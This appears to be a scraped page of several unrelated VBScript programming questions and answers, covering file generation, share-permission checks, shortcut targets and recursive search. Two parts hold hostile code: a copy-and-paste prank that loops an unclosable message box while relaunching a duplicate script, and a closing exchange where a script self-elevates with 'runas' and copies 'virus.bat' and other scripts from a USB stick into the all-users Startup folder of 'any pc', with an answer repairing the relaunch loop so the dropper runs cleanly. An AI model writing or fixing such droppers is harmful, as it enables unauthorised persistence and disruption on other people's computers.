I'm trying to compile all my many VBS files into one, but I can't figure out how to do it.
Set sapi = CreateObject("SAPI.SPvoice")
Set wshShell = WScript.CreateObject("WScript.Shell")
Set ChosenVBS = InputBox("Enter your message", "Choose What to run.")
Set WshShell = CreateObject("WScript.Shell")
Sub Speak
Dim ProgramPath, WshShell, ProgramArgs, WaitOnReturn, intWindowStyle
ProgramPath = "D:\Spam\Speak.vbs"
ProgramArgs = ""
intWindowStyle = 1
WaitOnReturn = True
WshShell.Run Chr(34) & ProgramPath & Chr(34) & Space(1) & ProgramArgs, _
intWindowStyle, WaitOnReturn
End Sub
Call ChosenVBS
How I'm trying to do it currently, the Set are for all the codes I'm going to put in.
Related
I'm trying to create a VBS via another VBS, but cant handle the quotation marks, and would love to know if it's even possible.
That's the 1 line I need in my new VBS:
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Main VBS code that doesn't work:
Dim oFSO, vbFile
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set vbFile = oFSO.CreateTextFile("try.vbs", True)
vbFile.WriteLine ""CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False""
vbFile.Close
Thanks to Sorceri, I managed to make it work by writing the following code:
Dim oFSO, vbFile
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set vbFile = oFSO.CreateTextFile("try.vbs", True)
vbFile.WriteLine "CreateObject(" & Chr(34) & "Wscript.Shell" & Chr(34) & ").Run """""""" & WScript.Arguments(0) & """""""", 0, False"
vbFile.Close
This is what you need to do.
Copy and paste this code
do
msgbox("haha you cant close this")
CreateObject ("WScript.Shell").Run(".\Duplicate.vbs")
loop
I am working on a script to check on folder share where I will pass the folder location as variable to the script (example: Script.vbs D:\share)but when I run it I got an error "subscript out of range vbscript 800a0009"
Script given below,
Const EVENT_TYPE_ERROR = 1
Const EVENT_TYPE_WARNING = 2
Const EVENT_TYPE_INFORMATION = 4
Set oParameters = WScript.Arguments
Set WshShell = WScript.CreateObject("WScript.Shell")
ShareName = oParameters(6)
clog = "Windows Share"
Source = "ShareSecurity"
Dim WshShell
Set objShell = CreateObject("WScript.Shell")
set ObjExec = objShell.exec("icacls """"& ShareName & """"")
Set objStdOut = ObjExec.StdOut
While Not objStdOut.AtEndOfStream
strLine = objStdOut.ReadLine
If InStr(strLine,"Everyone") Then
set ObjExec1 = objShell.exec("icacls """"& ShareName & """"")
completeshare = ObjExec1.StdOut.ReadAll()
strCommand = "eventcreate /T Error /ID 422 /L " & Chr(34) & Clog & Chr(34) & " /SO " & source & " /D " & Chr(34) & completeshare & "Network share with Every one access is created and the information is given below" & Chr(34)
WshShell.Run strcommand
End If
Wend
wscript.quit
Read and follow docs: Arguments Property (WScript Object):
The Arguments property contains the WshArguments object (a
collection of arguments). Use a zero-based index to retrieve
individual arguments from this collection.
Hence, in case of expected Script.vbs D:\share (or Script.vbs "D:\share"), use next code snippet:
Set oParameters = WScript.Arguments
If oParameters.Count > 0 Then
ShareName = oParameters(0)
Else
' usage prompt and then `Wscript.Quit`, or
ShareName = "some default value"
End If
Const EVENT_TYPE_ERROR = 1
Const EVENT_TYPE_WARNING = 2
Const EVENT_TYPE_INFORMATION = 4
Dim WshShell, ShareName
Set oParameters = WScript.Arguments
Set WshShell = WScript.CreateObject("WScript.Shell")
ShareName = oParameters(6)
clog = "Application"
Source = "EventCreate"
Set objShell = CreateObject("WScript.Shell")
set ObjExec = objShell.exec("icacls """& ShareName &"""")
Set objStdOut = ObjExec.StdOut
While Not objStdOut.AtEndOfStream
strLine = objStdOut.ReadLine
If InStr(strLine,"Everyone") Then
set ObjExec1 = objShell.exec("icacls """& ShareName &"""")
completeshare = ObjExec1.StdOut.ReadAll()
strCommand = "eventcreate /T Error /ID 425 /L " & Chr(34) & Clog & Chr(34) & " /SO " & source & " /D " & Chr(34) & "Network share with Every one access is created and the information is given below " & Chr(13) & Chr(13) & completeshare & Chr(34)
'strCommand = "eventcreate /T Error /ID 1999 /L APPLICATION /D" & Chr(34) & "Network share with Every one access is created and the information is given below " & Chr(13) & Chr(13) & completeshare & Chr(34)
WshShell.Run strcommand
End If
Wend
wscript.quit
This one worked when I parsed the variable like below,
script.vbs 1 2 3 4 5 6 D:\share
Worked !!!!
Thanks all for your valuable inputs.
This:
ShareName = oParameters(6)
Should be this:
ShareName = oParameters(0)
I can't seem to get the WShell to return a value for objShortcut.TargetPath, although it passes the full name fine.
I've been reading that the WShell can have issues with remote disks, and I had been using an external drive.
After testing it on shortcuts on my C: drive with files located on my C: drive, I am finding it still does not work. Instead of echoing the traget path, it echos a blank value.
Edited. Thanks for the tip.
getshorty.vbs
Dim objWSHShell
set objWSHShell = CreateObject("WScript.Shell")
Set wshShell = WScript.CreateObject("WScript.Shell")
strTargetPath=objWSHShell.ExpandEnvironmentStrings(WScript.Arguments.Item(0))
Set objShortcut = wshShell.CreateShortcut(strTargetPath)
WScript.Echo objShortcut.TargetPath
Set objShortcut = Nothing
Set wshShell = Nothing
This a function to create a shortcut :
Call Shortcut("C:\The Absolute Path of your application goes here","Name of your Shortcut")
'*********************************************************************************
Sub Shortcut(PathApplication,Name)
Dim objShell,DesktopPath,objShortCut,MyTab
Set objShell = CreateObject("WScript.Shell")
MyTab = Split(PathApplication,"\")
If Name = "" Then
Name = MyTab(UBound(MyTab))
End if
DesktopPath = objShell.SpecialFolders("Desktop")
Set objShortCut = objShell.CreateShortcut(DesktopPath & "\" & Name & ".lnk")
objShortCut.TargetPath = Dblquote(PathApplication)
ObjShortCut.IconLocation = "%SystemRoot%\system32\SHELL32.dll,-25"
objShortCut.Save
End Sub
'*********************************************************************************
Function DblQuote(Str)
DblQuote = Chr(34) & Str & Chr(34)
End Function
'*********************************************************************************
Of course, TargetPath property results to "" (a string of zero length) if the .lnk or .url file does not exist.
The CreateShortcut method returns either a WshShortcut object or a WshURLShortcut object. Simply calling the CreateShortcut method opens an existing shortcut but does not result in the creation of a shortcut.
option explicit
On Error GoTo 0
Dim wshShell, strTargetPath, objShortcut
Set wshShell = WScript.CreateObject("WScript.Shell")
strTargetPath = wshShell.ExpandEnvironmentStrings(WScript.Arguments.Item(0))
Set objShortcut = wshShell.CreateShortcut(strTargetPath)
WScript.Echo TypeName(objShortcut) & vbTab & VarType(objShortcut) _
& vbNewLine & "FullName" & vbTab & objShortcut.FullName _
& vbNewLine & "TargetPath" & vbTab & objShortcut.TargetPath
If TypeName(objShortcut) = "IWshShortcut" Then
WScript.Echo "Arguments" & vbTab & objShortcut.Arguments _
& vbNewLine & "Description" & vbTab & objShortcut.Description _
& vbNewLine & "WorkingDir" & vbTab & objShortcut.WorkingDirectory
End If
Output
==>dir /B d:\xxxx\*Shortcut.*
32421790 Shortcut.url
pisma - Shortcut.lnk
==>cscript D:\VB_scripts\SO\32421790.vbs "d:\xxxx\32421790 Shortcut.url"
IWshURLShortcut 8
FullName d:\xxxx\32421790 Shortcut.url
TargetPath http://stackoverflow.com/q/32421790/3439404
==>cscript D:\VB_scripts\SO\32421790.vbs "d:\xxxx\nonexistent Shortcut.url"
IWshURLShortcut 8
FullName d:\xxxx\nonexistent Shortcut.url
TargetPath
==>cscript D:\VB_scripts\SO\32421790.vbs "d:\xxxx\pisma - Shortcut.lnk"
IWshShortcut 8
FullName d:\xxxx\pisma - Shortcut.lnk
TargetPath D:\bat\SU\Files\ruzna pisma.png
Arguments
Description font samples
WorkingDir D:\bat\SU\Files
==>cscript D:\VB_scripts\SO\32421790.vbs "d:\xxxx\nonexistent Shortcut.lnk"
IWshShortcut 8
FullName d:\xxxx\nonexistent Shortcut.lnk
TargetPath
Arguments
Description
WorkingDir
==>
This is my first post, but I have been programming for a long time now
I just want to ask a quick question and the title explains it all. I want my VBS to run a file, but I dont want it to search just for a specific directory, I want it to just find the file if you know what I mean, because if I gave the script to anyone else, this file could be ANYWHERE on their computer.
This is the current couple of important lines that I am using for running files:
set wshshell = wscript.CreateObject("wscript.shell")
and
wshshell.run <program directory here>
You need a recursive function like this one searching for shortcuts.
Sub GenerateHotkeyInFolder(Fldr)
on error resume next
set WshShell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set FldrItems=Fldr.Items
For Each oFile in FldrItems
With oFile
If .IsFileSystem = true And .IsLink = true And .Type <> "Shortcut to MS-DOS Program" then
set lnk = WshShell.CreateShortcut(oFile.Path)
If lnk.hotkey <> "" then
Set fsop = fso.GetFile(.Path)
LnkName = "<b>" & fso.GetBaseName(fso.GetFile(.Path)) & "</b><br>" & fsop.ParentFolder.path & "\" & fso.GetBaseName(fso.GetFile(.Path)) & "." & fso.GetExtensionName(fso.GetFile(.Path))
TableVar = TableVar & "<tr><td><b>" & lnk.hotkey & "</b></td><td><a class=TblURL onmouseover='MakeRed()' onmouseout='MakeBlack()' onclick='FindShortcut(" & Chr(34) & lnk.fullname & Chr(34) & ")'>" & lnkname & "</a>" & "</td><td><a class=TblURL onmouseover='MakeRed()' onmouseout='MakeBlack()' onclick='FindShortcut(" & Chr(34) & lnk.targetpath & Chr(34) & ")'>" & lnk.targetpath & "</a></td></tr>" & vbcrlf
End If
ElseIf .IsFileSystem = true And .IsFolder = true then
GenerateHotkeyInFolder(.GetFolder)
End If
End With
Next
End Sub
I have this vbs script:
Set WshShell = WScript.CreateObject("WScript.Shell")
Set ObjShell = CreateObject("Shell.Application")
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
Const Destination = "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
Const Virus = "virus.bat"
Const YesNo = "yesnovbs.vbs"
Const CDRom = "cd-rom.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Virus, Destination, True
fso.CopyFile YesNo, Destination, True
fso.CopyFile CDRom, Destination, True
Basically, it copies some files from my USB to startup directory in any pc. The problem is, that the script keeps executing itself. I wanted this script to copy files and exit, how do I do that?
You need to do the restart just once, depending on a condition (e.g. a parameter). Demo:
If 0 = WScript.Arguments.Count Then
WScript.Echo "first run, starting script again"
CreateObject("WScript.Shell").Exec "wscript.exe " & WScript.ScriptName & " param"
Else
MsgBox "second run"
End If
output:
Function runas()
Set WshShell = WScript.CreateObject("WScript.Shell")
Set ObjShell = CreateObject("Shell.Application")
If WScript.Arguments.Length = 0 Then
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
WScript.Quit
End If
End Function
Call runas()
Const Destination = "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
Const Virus = "virus.bat"
Const YesNo = "yesnovbs.vbs"
Const CDRom = "cd-rom.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Virus, Destination, True
fso.CopyFile YesNo, Destination, True
fso.CopyFile CDRom, Destination, True
Set WshShell = Nothing
Set objShell = Nothing
Set fso = Nothing
If you did not add the wscript.Arguments.length = 0 condition statement it will keep continue work